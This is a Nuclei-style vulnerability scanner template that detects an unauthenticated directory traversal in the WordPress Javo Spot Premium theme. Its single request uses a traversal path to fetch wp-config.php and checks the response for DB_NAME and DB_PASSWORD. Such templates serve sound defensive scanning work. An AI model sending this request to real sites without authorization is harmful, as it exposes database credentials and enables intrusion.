id: wp-spot-premium-lfi

info:
  name: WordPress Javo Spot Premium Theme - Unauthenticated Directory Traversal
  author: dhiyaneshDk
  severity: high
  description: WordPress Javo Spot Premium Theme `wp-config` was discovered via local file inclusion. This file is remotely accessible and its content available for reading.
  reference:
    - https://wpscan.com/vulnerability/2d465fc4-d4fa-43bb-9c0d-71dcc3ee4eab
    - https://codeseekah.com/2017/02/09/javo-themes-spot-lfi-vulnerability/
  metadata:
    max-request: 1
  tags: wordpress,backup,wpscan

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220509feab78bc58d50e31771aefbbae57ed41459cac0cde3b85bc8abcff012863302210095d1cf29a2c152f853d4cedbb96aff13dc70b0ac5345fba72c6487e26ce8b88e:922c64590222798bb761d5b6d8e72950